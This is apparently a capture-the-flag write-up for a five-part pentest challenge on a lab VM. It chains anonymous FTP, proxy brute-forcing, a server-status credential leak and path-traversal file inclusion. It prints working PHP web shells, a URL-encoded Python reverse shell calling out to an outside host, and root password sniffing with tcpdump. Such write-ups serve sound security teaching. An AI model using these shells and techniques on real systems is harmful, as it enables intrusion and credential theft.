Aperi’CTF 2019 - Aperi’VM - Skid’ your way in
Challenge details
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
Aperi’CTF 2019 | Aperi’VM - Skid’ your way in - Part 1 | Network/Pentest | 50 | 11 |
Aperi’CTF 2019 | Aperi’VM - Skid’ your way in - Part 2 | Network/Pentest | 175 | 7 |
Aperi’CTF 2019 | Aperi’VM - Skid’ your way in - Part 3 | Network/Pentest | 100 | 7 |
Aperi’CTF 2019 | Aperi’VM - Skid’ your way in - Part 4 | Network/Pentest | 250 | 6 |
Aperi’CTF 2019 | Aperi’VM - Skid’ your way in - Part 5 | Network/Pentest | 175 | 5 |
Nmap
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 107 112 4096 Feb 21 09:31 pub
|_-rw-r--r-- 1 0 0 8711 Feb 22 10:00 ~secret.xlsx
| ftp-syst:
| STAT:
| FTP server status:
| Connected to aperivm.aperictf.fr
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-favicon: Unknown favicon MD5: 7D4140C76BF7648531683BFA4F7F8C22
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Login
3128/tcp open http-proxy Squid http proxy 3.5.23
|_http-server-header: squid/3.5.23
|_http-title: ERROR: The requested URL could not be retrieved
FTP
- Anonymous
- ~secret.xlsx
- Write right in pub
$ ftp aperivm.aperictf.fr
anonymous
> dir
drwxr-xr-x 2 107 112 4096 Feb 21 09:31 pub
-rw-r--r-- 1 0 0 8711 Feb 22 10:00 ~secret.xlsx
> get ~secret.xlsx
$ unzip ~secret.xlsx
$ cat xl/sharedStrings.xml
backend
backup
proxy
admin
factory
Se5J3MK4HkNn7xAB
c86XSxGMuVUnqnuK
NfBXRF9cYZ7mHV7d
Xs7fB6mFVJCJbwGc
zTB8SjEsYKENCFE5
APRK{An0nyM0u5_FtP_1s_n0t_4_gUd_iDe4}
$ cat docProps/core.xml
charles
backend backup proxy admin factory charles
Se5J3MK4HkNn7xAB c86XSxGMuVUnqnuK NfBXRF9cYZ7mHV7d Xs7fB6mFVJCJbwGc zTB8SjEsYKENCFE5
Flag 1 : APRK{An0nyM0u5_FtP_1s_n0t_4_gUd_iDe4}
Web
Enum
http://aperivm.aperictf.fr/index.php
http://aperivm.aperictf.fr/server-status (403)
http://aperivm.aperictf.fr/css/
http://aperivm.aperictf.fr/fonts/
http://aperivm.aperictf.fr/images/
http://aperivm.aperictf.fr/js/
http://aperivm.aperictf.fr/vendor/
http://aperivm.aperictf.fr/admin/
http://aperivm.aperictf.fr/admin/index.php (302)
http://aperivm.aperictf.fr/admin/logout.php (302)
http://aperivm.aperictf.fr/admin/about.php (302)
http://aperivm.aperictf.fr/admin/assets/
http://aperivm.aperictf.fr/admin/pages/
http://aperivm.aperictf.fr/admin/pages/dashboard.php
http://aperivm.aperictf.fr/admin/pages/services.php
Exploit
Login page cretentials are sent using GET.
http://aperivm.aperictf.fr/?user=admin&pass=admin
So if a user logs in, his login details will be available in server-status. His access is restricted to the localhost, but it’s possible to use the proxy to bypass the check.
Proxy
$ curl http://127.0.0.1/server-status --proxy http://aperivm.aperictf.fr:3128
[...]
Cache Access Denied.
[...]
The proxy requires authentication. We can bruteforce them using the creds in the FTP.
$ nmap --script http-proxy-brute -p 3128 aperivm.aperictf.fr -v --script-args userdb=users.txt,passdb=pass.txt
3128/tcp open squid-http
| http-proxy-brute:
| Accounts:
| charles:Se5J3MK4HkNn7xAB - Valid credentials
charles : Se5J3MK4HkNn7xAB Flag 2 : APRK{charles:Se5J3MK4HkNn7xAB}
$ curl http://127.0.0.1/server-status --proxy http://charles:Se5J3MK4HkNn7xAB@aperivm.aperictf.fr:3128 [...] GET /?user=admin&pass=xYtyrm5ypmdJ2HEa HTTP/1.1 [...]
Here we go, we have got admin credentials of the web application.
admin : xYtyrm5ypmdJ2HEa
Web
On the logged part there is a link to about.php
.
http://aperivm.aperictf.fr/admin/?p=../about.php
APRK{S3rveR_st4tUs_1S_l0v3}
Flag 3 : APRK{S3rveR_st4tUs_1S_l0v3}
There is a LFI on the webpanel. We can acces ../about.php
, but not ../../../../../etc/passwd
, ../..
seems to be filtered. We can use .././.././.././.././../etc/passwd
http://aperivm.aperictf.fr/admin/?p=.././.././.././.././../etc/passwd
francois
charles
But nothing interesting in the web server files. We need a RCE!
There isn’t upload functionnality on the webserver, but we can upload file in the pub foder on the FTP. But to be able to include our file, you will need to know his path.
We can retrieve it in the vsftpd’s configuration file.
http://aperivm.aperictf.fr/admin/?p=.././.././.././.././../etc/vsftpd.conf
[...]
anon_root=/storage/ftp/
[...]
Now, we can craft, upload and include our php script.
$ echo '<?php system($_GET[0]) ?>' > shell.php
$ ftp aperivm.aperictf.fr
anonymous
> cd pub
> put shell.php
http://aperivm.aperictf.fr/admin/?p=.././.././.././.././../storage/ftp/pub/shell.php&0=id
It doesn’t work, there must be restrictions on php functions. Let’s look at how the server checks the status of services in services.php
.
$ cat file.php
<?php echo file_get_contents($_GET[0]) ?>
http://aperivm.aperictf.fr/admin/?p=.././.././.././.././../storage/ftp/pub/file.php&0=/var/www/html/admin/pages/services.php
services.php
use the function shell_exec
to execute bash commands, will do the same to get a shell.
$ cat shell2.php
<?php echo shell_exec($_GET[0]) ?>
http://aperivm.aperictf.fr/admin/?p=.././.././.././.././../storage/ftp/pub/shell2.php&0=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Here we go, got a command execution!
User Shell
$ nc -lvp 3615
http://aperivm.aperictf.fr/admin/?p=.././.././.././.././../storage/ftp/pub/shell.php&0=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.10.10%22,3615));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
$ python -c 'import pty; pty.spawn("/bin/bash")'
We can bruteforce the francois password using the password list on the FTP.
$ su francois
c86XSxGMuVUnqnuK
$ id
uid=1000(francois) gid=1000(francois) groups=1000(francois),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1002(network)
$ cat /home/francois/flag.txt
APRK{d0t_DoT_WhO5_tH3R3?LFI}
Flag 4 : APRK{d0t_DoT_WhO5_tH3R3?LFI}
Priv Esc
$ getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
/usr/lib/squid/pinger = cap_net_raw+ep
We can use tcpdump to listen on the network.
$ /usr/sbin/tcpdump -i any -w a.pcap
$ tshark -r a.pcap -Y "ftp"
USER root
PASS 1188634154207010
$ su root
1188634154207010
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/flag.txt
APRK{sN1ff1nG_y0uR_w4Y_T0_rO0T}
Flag 5 : APRK{sN1ff1nG_y0uR_w4Y_T0_rO0T}
DrStache